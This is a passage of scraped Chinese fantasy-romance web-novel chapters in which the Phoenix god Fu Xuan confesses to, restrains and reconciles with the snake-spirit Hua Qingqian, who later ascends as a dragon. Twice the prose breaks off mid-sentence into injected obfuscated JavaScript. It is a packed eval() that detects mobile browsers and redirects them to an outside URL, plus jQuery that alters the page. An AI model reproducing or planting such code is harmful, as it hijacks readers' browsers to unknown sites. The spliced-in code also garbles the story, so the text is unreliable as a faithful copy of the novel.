“小清,我永远、永远都不会那样对你。”傅玄没理跪在地上的朱雀,只顾深深看向花清浅眼底,话语涌出真神之力,出口成法。 被他温柔托住后颈,花清浅回避不了他的眼神,只能点头:“那就是日月潭坏了。”都是日月潭的错,可不是她的错! “那日月潭其实没坏。”傅玄抿了抿唇,说道,“说来是我的错,我没有早点告诉你,你身负上古血脉,情绪激荡时去看日月潭,看见的并不是未来,而是你的心魔。” 花清浅有点僵硬。 她想起来了,傅玄一直不怎么赞成她依赖日月潭,说未来乃是天道安排,窥探多了不好,他自己更是从不主动去用日月潭,原来还有这一层缘故。 而他之所以不告诉她原因,她也能猜到几分:她不觉得自己有什么上古血统,甚至对一切高贵的上神身份都怀有嫉妒。他有所察觉,自然不会在她面前多提血统相关的事,以免惹得她不开心。 呃,所以,这么多年的自苦、纠结和释然,居然只是因为一场误会……? 像是走着走着忽然被天降横财击中,花清浅有些晕晕乎乎,为了再三确认这笔横财能真的揣进乾坤袋里,不敢置信地问道:“你是说真的哦,没有骗我?” 傅玄点头。 “那你给我立亡妻牌位,闭门不出,不只是因为愧疚哦?” 傅玄再次点头:“嗯。” “那,那你是真的喜欢我,很喜欢、很喜欢的那种,男欢女爱的那种喜欢哦?” 这话她已经问过一次,傅玄不厌其烦点头:“嗯。” 他还继续说道:“小清,现在你知道了我的心意,也该知道,凤凰羽毛比朱雀和鹞鹰的都漂亮。” 虽然是实话,但这话题跳跃度着实有点大,花清浅不由一愣:“啊?” “这世上我最爱你,最适合你,羽毛也比其他鸟族都值得收藏。”他不顾地上赵刑西快要作呕的目光,牢牢将她锁进怀里:“你不要再找别人,不要喜欢别人,好不好?” 他凭本事熬过东方,凭本事斗走苍御峻,他是同她成了婚契的正经夫君,但现在又冒出一个赵刑西—— 身为吕浮白时,他被她保证过,只喜欢他一个,因而还算有些安全感。 可他现在是傅玄。 虽然已经强行把人扣在了身边,连玉京子也打发出去,但那种不被承认的焦躁与不安卷土重来,几乎要吞噬他的神智。 之前花清浅与天法司佛子多说了一句话,他都要暗地里确认那人未曾破戒,疑神疑鬼到如此地步,更别提赵刑西还是被她亲口叫过夫君的。 他就是要她当着赵刑西的面承认,她对旧事再无眷恋,与别人再无可能,以后眼里只装得下一个凤凰神君。 一席话颇像祸国妖妃,姿态恳求,甚至带了些卑微的哽咽。花清浅迷迷糊糊地想起来,吕浮白好像也这么恳求过她,可相同的话由不同的人来讲,杀伤力也大有径庭,譬如眼下,相比于旖旎之情,花清浅更多感受到的是不快。 她不能以单纯求偶的视角看待傅玄,他是养了她半程、教导她功法的可靠前辈,是无数次救天下于水火的上古真神,他形象太崇高,太不适合做类似这样争宠的事情。 他应该永远是高高在上、清冷如月的神佛,现在有了人欲,像是变得脆弱了许多,花清浅不想害他脆弱。 她说:“其实你不用说这些,赵刑西骗了我,我本就不会再喜欢他。” 可你也没有说要喜欢我。傅玄想了想,还是把这句话咽了回去:花清浅能这样表态已经很好,不能逼得太紧。 “有人给我传音,我出去一下。”既然已经做出选择,花清浅决定避嫌到底,“赵刑西好像有情报要说,你先审审,不要……不要杀了他。” 傅玄应声,目送她出去,赵刑西这才重又开口:“娘子心里还是记挂着我的,她舍不得我死哎!也对,就算入魔,我这副皮囊也够她痴迷的。” 虽然他知道,她最痴迷的,还是他的眼睛。 傅玄没有被他激怒,他神色泰然,甚至还透出一丝笑来——小花蛇口是心非,说什么不会找替身,要求偶就会好好求偶,但本能又照着他的模样去找伴侣,不是跟他眉眼相似,就是与他同出鸟族。 赵刑西是跟他最像的一个,朱雀的尾羽也几乎跟凤凰的一样绚丽,得她青眼很正常。 傅玄从前因此黯然神伤,害怕被替代品抢了原本的位置,不过他现在已经想通,假的就是假的,成不了真。 花清浅被他养成了什么脾气,他清楚得很,表面上对伴侣合眼缘就可以,实则她就是要最好、最强、最纯粹、最爱她的那一个,还要能配合她生出最漂亮的小蛋。 而这个人选,只要傅玄出现,就不会落到其他人头上。 “你追杀定法天怨这么久,现在才来求助,是发现了什么不妥?”想了这么一圈,傅玄的注意力终于回到正事上来,并且一语中的:“他是不是,已经和小混沌戒封印内的本体联系上了?” 花清浅没有随便找托词,确实有人给她传音,是秋照将军——秋照与周先生的婚期将至,请她与玉京子、吕浮白三人过去喝喜酒。 这是喜事,花清浅本要立刻答应,但想想“吕浮白”的真实身份,又开始犹豫。 “我跟你一起去。”傅玄不知什么时候出了屋子,语气笃定,“我们在一起,外人迟早要知道,瞒不了一世。” 花清浅只是确认了他的喜欢,还没有明确回应,他却像此事毫无转圜一般,如此轻巧就说定了未来。 她在他怀里挣扎了一下,没挣开,很是大逆不道地瞪他:“神君是不是忘了,我是被你用金甲强行锁在这里的,哪里也不能去,只好呆在你身边,这也能叫‘在一起’吗?” “你要去哪里,我陪着你去。”傅玄说。 他在故意装没听懂,花清浅看得出来,心里无语,想着凤凰神君不是情窦初开么,这副近乎无赖的模样是哪里学来的。 唔,大概是跟她学的……只不过她当时虽然无赖,但灵力低微,所以无赖得很可爱,他身为上古真神,却依样画葫芦,就显得有些霸道,叫人不爽。 花清浅默默不爽了片刻,还是没有跟他撕破脸,说些“我不要看见你”、“你强迫我的人也得不到我的心”之类的诛心之语。一则她现在没有甩开他的资本,二则她知道了他爱她非虚,说实话……也狠不下心来。 虽然要她立刻回心转意、爱上傅玄还有些勉强,但她现在也不敢打保票,立什么“宁死不吃回头草”的誓了,别问,问就是脸疼。 - 直到喊来玉京子,三人一起给秋照准备贺礼,花清浅觉得不对劲,好像有个人不见了:“那个,赵刑西呢?” 见她现在才反应过来,傅玄眼底闪过一丝笑意:“他先去泰山了。” 赵刑西自然知道他娘把定法天怨封到了什么地方,身为魔族,他也更了解魔物动向,因而提前去洗佛池边清理魔物,守护封印。 他和定法天怨有仇,心急些也正常。花清浅便没有再管。 最后贺礼定了头毛绒七彩的小羊羔,在昆仑鸟族看来应是无比美丽的瑞兽,玉京子还在叨叨嫌弃这贺礼毛毛太多,想来不好吃,被花清浅教训了一顿。 小羊羔被牵在手里上了昆仑,秋照见了果然很喜欢,一把将羊羔抱进怀里不撒手,过了好久眼睛才从羊羔七彩的茸毛上挪开,看清了花清浅旁边立着的人。 “——就说怎么这么肃静呢。”到底经过大风大浪,秋照并没有原地惊跳起来,也没有立刻振羽飞走,她在原地抱着羊羔,很冷静地感慨:“原来是神君来了啊。哈哈。” 花清浅接到她暗示的眼神,摇了摇头,怕她没有理解,还进一步解释道:“之前那位吕浮白是神君扮的。” 她有意在外面给傅玄留面子,说得像是两人串通好要演家家酒一样。秋照直觉这里头没那么简单,但一想到她曾当着神君的面公然包庇花清浅行踪,这下大约能既往不咎,也就知趣不再细问。 花清浅一行人提前到达,在昆仑小住了一日。隔日天光破晓,她一觉睡醒,在额头接近发际线的地方摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027017|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了两块圆圆的东西—— “我长角了?”她一下子从床上弹起,尖叫起来,“我要化蛟了,我要飞升当神仙了?!” 傅玄睁开眼睛,也随她起身,对此半点不意外:他亲传的功法修炼,花清浅修为提升飞速,还有天道功德护持,他早就算到她能很快化蛟。 甚至她今日化蛟,都算慢得很了,要是当年没有误会,她在长生界受凤凰精魂滋养,不过一年就能飞升。 刚长出的角圆圆钝钝,还有点软,花清浅摸着简直爱不释手,不住赞叹周先生就是能掐会算,今天果真是个良辰吉日。 “你的雷劫落在黄昏时分,等渡了劫,再去水里潜着,便能成为蛟龙。”傅玄给她拿好了承受天雷所需的法衣,“走吧,我带你找个地方渡劫。” 花清浅朝他伸出手:“小小雷劫,我一个人就行,不用劳烦神君啦!神君留在这里喝喜酒吧,顺便替我多喝几杯。” 傅玄不说话,蹙着眉淡淡看她一眼,她就知道自己反抗无效,收回手指摩挲几下,乖乖跟着他往外走。 两人去秋照处道明因由,却正好撞上了一位不速之客。 宽大的王座飘在空中,西陆妖尊漫不经心靠着椅背,朝花清浅慢慢抬起眼帘:“好久不见,清浅。” 秋照见气氛不对,借口试婚服为由展翅飞速溜掉,急得羽毛都挂了三根在窗棱上,屋里只剩他们三人。 “尊上。”花清浅礼貌应声。 西陆上次对昆仑鸟族有相助之情,秋照成亲邀请苍御峻也很合理,只不过他上次被“吕浮白”伤到躲回西陆,她还以为他永远都不会出来了。 她一双水眸清澈无比,没遮没藏,心中所想被对面的人一览无余。苍御峻简直被她气笑,按捺住怒火说道: “本座过来一趟,原是发现了吕简那位世子还好端端在洞里躺着,想到你身边这位‘吕浮白’身份不对,巴巴跑来救你的。” 却没想到,伪装身份的居然是凤凰神君,而且秋照方才透露,花清浅好似一开始就知道。 “你不是说过,对于同一个坑,能回头跌第二次的都是蠢货,你不会做蠢货的么?”他抬起下巴,充满侵略与逼迫的鹰目死死盯住她: “你现在是在做什么,回心转意?为什么,就因为他是傅玄吗?” “花清浅,你睁大眼睛看看清楚!”他那点装出来的散漫很快土崩瓦解,几乎是恨铁不成钢地指着傅玄喝道: “这可是凤凰神君!他以前是如何对你的,我都打听清楚了,这次你能做他的亡妻逃掉,下次呢?他还会让你逃吗?!” 退一万步讲,要是花清浅现在跟那个凡人书生在一起,苍御峻都能捏着鼻子认了,至少他能在暗中护住她。 但她偏偏碰上傅玄……就算集结整个西陆,怕也抵不过人家执羽为令的轻轻一挥! 他是真心在替她做打算,花清浅迎着妖尊焦灼的目光,居然感到一丝不合时宜的温暖。 “尊上也知道,这是凤凰神君。”她很有耐性地等他说完,才一字一句说道,“你觉得我对上他,有拒绝的选择吗?” 苍御峻一怔:“你是说,他强迫你?”凤凰神君天道无私的名号太唬人,叫他根本没往这个方向想过。 花清浅没有否认。 傅玄平静与她对视,眸中挣扎痛色一闪而过。花清浅迎着他的视线,寸步不让:她知道了他的心意,但这并不是他禁锢她的理由。 他把她捆在身边,她就是很不爽、很不满意,没有他做了这样的事,还要她忍气吞声一直掩护的道理。 最后还是傅玄先一步败下阵来,抿着唇角道:“对不起,我没办法放开你。” 上次她假死遁逃对他造成的阴影太大,如果放开了她,他总疑心她又会离开,在下一刻化为飞灰离他而去。 若这样的场景再来一次,他经受不住,他当真会疯的。 “说的什么屁话——”苍御峻终于再也忍不住,飞下王座朝傅玄俯冲攻去:“今日就是拼了本座这条命,你也得把她放开!” 他还有一句话没说:都是回头草,凭什么他就能把人扣在身边,强行逼着她吃他那一口? 苍御峻看得清楚,刚才进屋时,花清浅跟傅玄之间的身体距离,像是跟假吕浮白相差无几。 这是不是说明,清浅只是需要一颗真心的陪伴而已,如果换了他来,她一样会慢慢接受? 他心里藏着这般妄想,朝傅玄进攻的招式愈发狠戾,杀伤力巨大,险些殃及池鱼。 傅玄纵身而上,展袖挡下他的攻势,还游刃有余朝花清浅一挥指,隔空形成一个传送阵,将她整个人包裹起来: “先去准备渡劫,记得把法衣穿好。”他废掉苍御峻的一只手,压制着他被迫变回原形,看着她温和道,“我同他打完,就来陪你。” 没有留给花清浅跟妖尊道别的时间,传送阵在他话音落下的那一瞬起效,苍御峻朝她消失的地方伸出翅膀:“尊后——” 怎么还敢叫她尊后。 傅玄一直保持平稳漠然的表情终于裂开一丝缝隙,他一把擒住苍御峻指爪,冷笑开口:“小清不是你的尊后。” “她不是我的,难道是你的?!你一个与天地同寿的真神,强迫她一个出生不过两百年的小花蛇,神力就是给你这么用的?你的脸呢?!” 花清浅不在面前的时候,苍御峻可谓是一等一的牙尖嘴利,专挑着弱处下口。但傅玄没空跟他打嘴仗,不理会他的挑衅,只管宣判他的结果: “你觊觎我的妻子,论罪该死。可小清不愿西陆无主,我今日便不杀你。” 一语未罢,苍御峻只觉屋内神力激荡,叫他直喘不过气来,体内的灵力无法调动,从羽毛到爪尖都挪不了分毫——这就是绝对碾压的真神之力,他这才反应过来,之前傅玄做吕浮白的时候,确实已经算是留手了。 傅玄只说不杀他,并没有说不重伤。一掌推出,苍御峻被重重击飞出去,脏腑经受不住冲击,险些崩裂,连同体内五色神光的伤也被重新挖开,修为因这简单一击溃散了五成! 有力的翅膀也被折断好几处,苍御峻躺在地上不住咳血,再起却是不能。心知他以后只有退隐西陆、安分养伤的份,傅玄冷着脸收了手,一言不发朝花清浅渡劫之地扬长而去。 83. 第83章 花清浅是一条还算知进退的小花蛇,她不会吃眼前亏,知道什么时候该闹,什么时候不该。 就譬如方才,鸟族秋照不在,屋里只有一个有愧于她的西陆妖尊,她就可以趁机讽刺一下傅玄,发泄发泄心中累积的不满; 但眼下天雷将至,傅玄的传送阵驱散了方圆百里内的所有生灵,只有他变成凤凰本体留在她身边,翅膀将她妥帖地环绕起来,她也没怎么挣扎。 “劫雷落下后,有一部分会飞溅到地上,容易弹起石块刮伤你。”傅玄告诉她,“你让我抱住,可以好受一点。” 花清浅将视线从慢慢聚拢的乌云上收回,看向他离得颇近的脸。凤凰外观华丽,一双眼睛也生得深邃,傅玄尤其有种历经万年、清冷出尘的气质,使他的眼睛比山雀、鹞鹰那些鸟眸加起来都好看。 他的眼底正幽幽燃着极寒之火,是她极为熟悉的一双眼睛,而她所不熟悉的,却是他过于明显而无法掩饰的讨好。 ——傅玄在小心翼翼地讨好她,明明是为了她好,才用那身沐浴离火的羽毛来给她挡土石,但又害怕她抗拒他的拥抱,神情近乎卑微。 这样的讨好,她在“吕浮白”眼里见过多回了,当初也是因此才被他打动,同他在一起。但这副神情放到傅玄身上,却叫她心头一颤,浑身都无所适从起来。 她心里不自觉就软了下来,说了句:“谢谢。”她还想说,她可以保证暂时不离开,能不能解开金甲符咒,只要他不再禁锢她的蛇身自由,她或许也可以试试—— 试试什么呢,她没有想好,天雷就在这个时候噼里啪啦落下来。这些劫雷傅玄不可以替她挡,让金甲代替也不行,必须要她自己承受,是以他撤下了她的金甲,那层符咒自然也不再能束缚她。 花清浅咬紧牙关,正在专心致志调动体内灵力抗击天雷,还没有注意到金甲已经剥落。傅玄抱住她的翅膀在微微颤抖,半是因为心疼,半是因为惶恐:他不知道,没有束缚的花清浅还愿不愿意待在他的身边。 他的神识诚然可以铺满天下,在茫茫六界之中找到她。可那是因为她第一次从他身边逃开,没有经验、也根本没想过他会找她,连隐姓埋名的措施都没做,这才被他轻而易举找到行踪的。 她是条多聪明的小花蛇,想必早已猜出了他是如何寻到她的。这天下藏匿气息的法器成千上万,如果她再次觉得他烦人,不通风花雪月,没有趣味,又想逃跑,且不想被他找到,方法有千百种。 到那个时候,他该怎么办? - 因为收集的功德足够多,且从小受长生界精纯灵气滋润,花清浅功法很正,劫雷没有在她体内大搞破坏,而只是帮助拓宽了她的筋脉。 她闭着眼,感受灵力与劫雷在相抗中的增长。过了大约半个时辰,雷声渐息,标志着渡劫结束,她调整好呼吸,心思从领悟天道法则中抽出空来,歪到了别的地方去:“神君神君,你快看看我脸上被电焦了没有——” “没有,更好看了。”傅玄声音里含着笑意,她猛地睁开眼,却正好撞见他在试图往她手腕上扣那弯“特制护身金甲”。 那朴实无华的镯子模样还没来得及隐去,傅玄已经变回了墨袍玉簪的清冷神君,手指扶着镯子,就这样僵在她手腕上。 花清浅无语地抬头:“就这么怕我跑了?”想出的法子也没个新意,翻来覆去就是要把她锁在身边。 这种偏激又简单粗暴的法子,他是从哪里学来的?反正不是从她身上学来的,她以前多乖啊,虽然也是对他死缠烂打,可从没有给他套上符咒强迫过。 “神君,可是我真的不喜欢这样。”她动了动手腕,哭丧着脸说道,“虽然平时感受不到什么,但我不能当它不存在,这东西阻碍我灵力运转,对我修炼也不好。” 只要她不想着逃跑,金甲就只是一件护佑她性命的法器,傅玄亲自写的符咒,怎么会阻碍她灵力运转。但她都这么说了,两只水眸可怜兮兮地望过来,额前一缕发丝被天雷燎得焦枯,有几分狼狈,却也更显出楚楚动人。 傅玄在她目光中败下阵来,解开那环金甲,但另一只手却在同时下意识紧紧握住她的肩膀,好像她是什么不听话的稀世珍宝,不牢牢把住就会立刻逃走。 “不是,你怎么就觉得我一定会走了?”花清浅实在想不通,“我现在修成了蛟龙,离上神还有好大一段距离,须得仰赖你与我双修的呀。我怎么会在这个时候离开?” 傅玄一顿:“我怕你……怕你实在厌恶我,放着上神不做,也不想要我。” 就像五十年前那样,她明明是那么怕疼的小花蛇,引魔矢刺入体内时却半点犹豫也没有。 毕竟,他没有忘记,早在她看到日月潭幻象、产生误会以前,她就已经想要放弃他了。 她说“我就是不想与你呆在一处”,要与他“互不牵扯”,好像两人那么多年的情谊随着玉京子的离去轻易分崩离析。 更别提他之后还犯了不少错,用符咒捆住了她,做了她最讨厌的事,还没忍住把苍御峻打得半死,等她回去知道苍御峻的下场,一定会觉得他做得过了。 她会不会觉得他残忍偏执、十分可怕?会不会想着,他与装出来的那位吕浮白相差甚远,一张嘴更是没有文绉绉的东方容楚会说话,她何苦要为了一点修为留在他身边? 他话说得太重,双眸一片沉静,居然不像是开玩笑的样子,是真这么想的。 五十年前,花清浅在他面前也是这样,时不时就不自信,成日患得患失。可如今这个人换成傅玄,她却没有什么风水轮流转的快意,只感到没来由的心酸。 ——她心里清楚,傅玄本就不欠她的,他没有做错任何事,现在这样低声下气,只是因为他爱上她了而已。 他身份暴露得突然,又受赵刑西刺激,一时不知道怎么爱她,也不是他的错。 “呃,谁告诉你我厌恶你啦?”她整理好情绪,冲他明媚一笑,“我讨厌的是那道符咒,现在你给我解了,我对你只有感激,怎么会讨厌你?” 她语气和善,好似一条心胸宽广的小花蛇,不,小花蛟,可傅玄知道她实则不是。 他看着她拍拍手,从地上站起来,说要去水里摸摸蛟龙角,小心翼翼地提议:“我陪你去。” “好呀。”花清浅笑道,“咱们顺便在水底双个修。” 她这样坦荡,神情轻快,两人之间气氛变得很好,几乎回到了他还是吕浮白的时候。 傅玄紧攥两下指尖,忽然有些冲动,拉住她的手道:“之前吕浮白说的那些话,换成傅玄也一样,我都愿意做的。” “我,我不会再强迫你,我会对你很好,你喜欢什么样的性格,我就学着改成什么样——”他没有说外表,因为花清浅显然对他的外表很满意了。 “我还会渡喂你凤凰精魂、助你早日化龙,我会帮你进到泰山洗佛池,你想要什么,我都给你——” 花清浅愣愣地看着他,听他继续呕心般地剖白道:“——所以小清,你能不能,同我再试一次。” 他不仅想要她留在他身边,心里眼里都看不到别的男子,还想要她与他重归于好,吃一吃他这片回头草。 西陆妖尊此前说得没错,他就是这么一个贪婪、自私且小气的衰朽之鸟,一步一步逼着她表态,甚至由不得她拒绝。 “如果我说不呢?”花清浅收起笑意,“神君会把我用金甲锁起来吗?” 傅玄平静摇头。 “哦,那没事啦,我刚才说着玩的。试试就试试呗,反正在一起我不会吃亏。”花清浅说道,看傅玄像是彻底收起了强制的心思,她大松一口气,拽着他往附近池塘里沉去,没注意到一道神力悄悄从后颈钻进她的筋脉。 傅玄知道她心思灵巧,多半不会直接拒绝,但也没想到她答应得这般快,不由倾身确认:“你答应了?” “嗯啊,快来履行夫君义务。”花清浅漫不经心道,她欢快地跳下池塘,半身化为蛟尾,扬起一池早秋温水,在快要破晓的天光下闪闪发亮,像是被玉勺搅乱的珍珠。 她凝视着自己的尾巴,只觉比从前的蛇尾漂亮得多,且宽大有力得多,得意之余坏心思浮上来,撑着岸边借力,猛然卷住傅玄的劲腰就往下拽。 傅玄没有防备,但他反应极快,被她拽下水的瞬间化为凤凰,占有性极强地拉过她的身子,一双翅膀铺天盖地将她包裹起来—— “花清浅,既然你答应了,就不要再轻易逃跑。”两人都是第一次双修,他汹涌的神力在花清浅体内流转,她舒服得话都说不出来,听他如此低语只能点头。 她觉得他对五十年前之事有了阴影,反应激烈些也没什么,甚至她还因为误会有些理亏,于是趁着池水稍歇时,努力挣扎着在他耳边宽慰他: “你放心,我、我再不会跑了,再遇上什么事,我一定当面去问你……就算、就算好聚好散,咱们也要散、嘶,散个明白。” 她竟还想着散个明白。 傅玄面色有些冷,却没有追究她这句话,而是将她狠狠箍在怀里,要她缠在他的颈子上,被迫摆出最亲密的姿势,才压下心头快要发疯的警告—— 这次他放开了金甲,只是一次试探,若她再敢不告而别,等他找到,那么任她哭求也罢,狂怒也好,他便再也不会放她自由。 - 与神君重新在一起后,花清浅就像天下所有普通的蛟一样潜在水底,通过执掌一方水脉,增强水系术法的功底。不同的是,她所属的水域是不老泉,还有一只老凤凰不辞辛劳地夜夜给她填补真神精魂。 玉京子当初在昆仑学了些本事,这些年一条蛇在穎朝瞎逛,隔三差五发传音来报平安,很叫人省心。 于是花清浅也没怎么管过他,只专心在长生界修炼,增进修为,争取早日飞升成神,让头上的两个角角变成真正威风凛凛的龙角,有资格飞往泰山。 当然,还要偶尔去神界一趟,花心思安抚一位认定她死了的小龙王。 “花清浅!!!”岐深气急败坏的尖叫响彻天际,要不是被神霄玉清拉着,她整个人已经要扑到小花蛟身上:“你——你知不知道我为你哭了多久!” 神霄玉清已经将拼凑的真相告诉过她,她知道花清浅不是被傅玄招魂复活的,而是压根没死。 “你要假死摆脱神君,我又不会拦着你!居然不跟我打一声招呼就自己跑了,完全没有想过我哇,跟香染简直一个模子里刻出来的,简直是——” 简直是没把她当朋友! 花清浅自知理亏,老老实实被她抱怨,末了才弱弱地辩解了一句:“你跟神霄玉清关系好,我那时怕他跟傅玄告密嘛。” “我能帮你瞒着他呀!” 花清浅:“你偷吃个糖葫芦都会被他发现……”还能在人家眼皮底下藏条活蹦乱跳的小花蛇? 被这么一提醒,岐深也觉得她好像有点道理,很快抛下这茬,蛮不讲理地说道:“反正你就是辜负了我,要给我做好多好吃的才能原谅你!” “好哦。”花清浅唇边带笑,答应下来,在凡间历练了这么多年,她哄人更是得心应手:“你喜欢吃酸甜口的,西陆特产要不要来一口……” 神霄玉清看着岐深不知不觉就松开他、蹦蹦跳跳和花清浅一同走远的背影,叹了口气,对身边的傅玄说道:“你那位亡妻从头到尾没理我,还在记恨我对蛇谷看管不力的过错吧。” 对于他这个级别的神仙,封印魔族、稳定大局是第一要务,相比之下,蛇族选少主是再细枝末节不过的小事,没心神去管也正常。 傅玄知道,当年那场灾祸的罪魁祸首是丹虺,但一想到是因为蛇谷没人镇着,丹虺才有空得手,从此引燃一系列导火索,致使他与花清浅分隔多年,心里就一阵烦闷。 他最终说道,“那晚前蛇王召集了许多仙人助阵,小清四面受敌,重伤根骨,还失了同伴……经受如此惊天巨变,恨上每一个与之沾边的人都很正常。” “况且她到底是蛇妖嘛,天性阴狠些,那几条已经伏诛的蛇,不够安放她所有恨意。”神霄玉清说,“不过论起来,你也算与此事沾边,但她就是更怨怪我,不怨怪你。你说说,是因为你长得比我俊呢,还是她情人眼里出西施?” 傅玄垂眸不语。 身为凤凰神君,五十年前他没有安排妥当、保护好她,没有及时查处扼杀蛇王的狼子野心,与神霄玉清的疏忽确实不相上下。 可她确实也没有特别恨他。 正思索着,花清浅与岐深的声音随风飘过来,女龙王说话声十分高亢,偏偏她自己还以为别人听不到: “就这?你就这么跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056050|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神君回来了?也太好哄了吧,他都没有为你死而复活、生而复死、离魂失忆、断胳膊断腿呢,就说了几句好话,你就又乖乖跟在他尾巴后头了?!” 像是感觉到从背后传来的冷意,岐深设了个结界,摸摸鼻子继续道:“我以为经过蛇谷少主选拔那一遭,你的脾气能变差一点呢。” 这位显然是读话本子读偏了,花清浅以过来人的身份摇了摇头,告诉她就算是神仙,也没有那么多要死要活的作法。 “死遁一次已经很累,我也不想再折腾什么。”她说,“再说了,傅玄都把话说成那样,我感觉……要是再拖着他,他会好伤心的。” 岐深懵懂地看着她。 “假如换成别人,我都不会这么不忍心。”花清浅想到苍御峻恼怒的眉目,赶紧晃晃脑袋,把他甩出去: “只是对傅玄,我就是不能仅仅把他当作道侣,你懂吗,就是——他教了我那么多年,就算没有师徒名分,也于我有安身立命之恩。他给我的太多了。” 岐深认真点头:“我懂。”能聆听凤凰神君的教诲,于神仙而言都是一种荣幸,更别说花清浅这种妖族。 修炼一途,有高人提点那是能突飞猛进的,花清浅不仅日日承蒙神君面授,还有外面千金难求的古籍、法器,神君于她说成恩同再造都不为过,她对神君怎能不生出感激? 花清浅接着说:“而且一日为师终身为父,我有点把他当我爹。辜负他的话,会显得我很不孝顺。” 岐深:“……这我就不大懂了。” 结界外的两位神君亦是一怔。 花清浅恍然不觉,自顾自地说:“不仅仅是当爹,我觉得他比我们蛇谷的那些蛇爹还好。准确来说,我是把他当我娘亲来看——” 她在说什么?!岐深已经当场傻掉,救命啊,花清浅从凡间晃荡一圈,说话怎么就这么抽象了,叫人一点都听不懂啊! “——当时在日月潭,我看到一些很可怕的未来,情况紧急,也没时间深思熟虑就跑了。”花清浅知道她设了结界,没有顾虑,一本正经诚恳地剖析自己,“不久前我才知道,是日月潭有问题,那个未来本就不会发生。” 求生欲占据大脑,她惧怕他、回避他,不顾一切地逃离,可是换位思考一下,傅玄根本没有做错什么。 岐深还沉浸在“凤凰神君给花清浅又当爹又当妈”的震撼当中,一副如遭雷劈的表情。花清浅看了不由好笑: “喂,你还有没有在听我说话?总之就是,傅玄没有对不起我,过去一笔烂账,我要与他如数勾销,从今往后,我们从新开始。” “那你好大度啊。”岐深回过神来说。 她还是秉承着话本里那套“付出平等”的原则,在她看来,花清浅求偶神君五十年,如今要换成神君求她五十年才够本,这么早松口,实乃大大的不明智。 “反正都是我要什么,他给我什么,便是不给,我磨一磨也是我的。在不在一起,有什么分别?” 甚至从前她单向求偶的时候,也是如此,因此花清浅满不在乎。如今她遍历情事,对纸上谈兵的话本故事很有些超然的批判力:“再说了,拖下去也没好处,反而早一日答应,还能早一日享受。” 岐深一语道破:“那就是你还爱他。” 花清浅没有否认,心里却悄悄说,她其实更爱与他双修。 久别重逢,两人没再围绕神君的事深聊,花清浅跟岐深保证过再也不随便跑路、就算跑路也要先通知她后,终于获准进入小龙王的神宫,把乾坤袋里私藏的好东西拿出来分享。 - 三十年后。 西池的霞光照亮发梢上每一颗汗珠,花清浅白净眉心微蹙,身上灵力浓厚得仿佛要炸开,至高天地法则在灵台明灭,支撑着灵力漩涡——待熬过这最后一轮灵力暴动,她就能飞升成神,修得龙身了。 蛟龙化龙是最难的一步,所经天劫非常玄乎,多少功法霸道、基础厚重的水族都卡在此处难以进步,最后黯然放弃。 可花清浅不同,在长生界的三十年来,她日日得不老泉及凤凰精魂滋养,对天地法则有不可言喻的领悟,心性大定,几乎没费什么力气就度过了最难的一步。 眼下,只剩个收尾的步骤而已。 她耐心等待着,等到一路收集的功德缘法被炼化吸收完毕、再化无可化之时,才在心里低喝一声,将快要控制不住的灵力流束而导之,满灌而下! 一瞬间,耀眼的金色光晕从妖丹处炸开,将这一方空间填满磅礴的神力,从妖丹开始,她的血液、筋脉、骨骼,乃至得到不久的蛟龙尾巴、鳞片、小角,一寸寸得到神光重塑,脱胎换骨。 寻常人若在此地,大约会被这神光闪瞎,但好在西池早被傅玄亲自清了场,如今立在原地、欣赏花清浅飞升的就只有他一只老凤凰。 眼前小花蛟的飞升十分特殊,她大约是第一个在神界本界飞升的龙神。 这么看来,小花蛇应是十分幸运的,但她的父亲是天水妖尊,若当年没出意外,她由父亲亲自孵化,在蛋里得到更强的血脉传承和滋养,那么她生下来就该是上神。 本来天生就该有的东西,叫她如此辛苦、努力了两百三十年才得到。傅玄不觉得花清浅幸运,他觉得她实在受苦,天水这个父亲当得属实有些不称职。 花清浅刚修得完整的龙身,满是兴奋地发出一声长啸,随即横冲直撞地向傅玄冲过来:“神君神君!快看看我后背的褐蓝色花纹还在没?我自己看不到——” 傅玄还是人形,立在那里看上去挺渺小,她心里存着坏,原想趁机撞他一个跟头。然而不知为何,飞到他面前时她的龙身也变小了似的,龙脑袋被他一只手捧住,一点威风凛凛的样子也没有。 “花纹还在。”傅玄温和道,唇边带笑,显然很为她飞升高兴,“别担心,小清,你做龙也最漂亮。” 花清浅很庆幸,龙皮比蛇皮厚,他应该看不出来她脸红:“你、你怎么能说这种话!哼,越老越不正经。” 傅玄笑了笑,没有辩解。 过了一会,花清浅又说道:“不过我确实什么样都很漂亮啦,你说的也没错。” 又过了一会,她瞄着傅玄侧脸,礼尚往来地称赞:“嗯,长岐……你也很好看。” “越老越好看!” 84. 第84章 修成上神之后,花清浅跟玉京子、岐深等相熟的传了个信,便马不停蹄同傅玄前往泰山。 古籍之中所说不假,去往泰山,移动的并非是身体。傅玄拉着她相对而坐,从神宫内拿出的香炉幽幽燃起,过不多时,再次睁眼,两人就已经置身于一方异界。 “这泰山藏得真深,比你的长生界,还有几个妖族自家开辟的异界都神秘些。”花清浅评价道,“怪不得古往今来好多人找不到。” 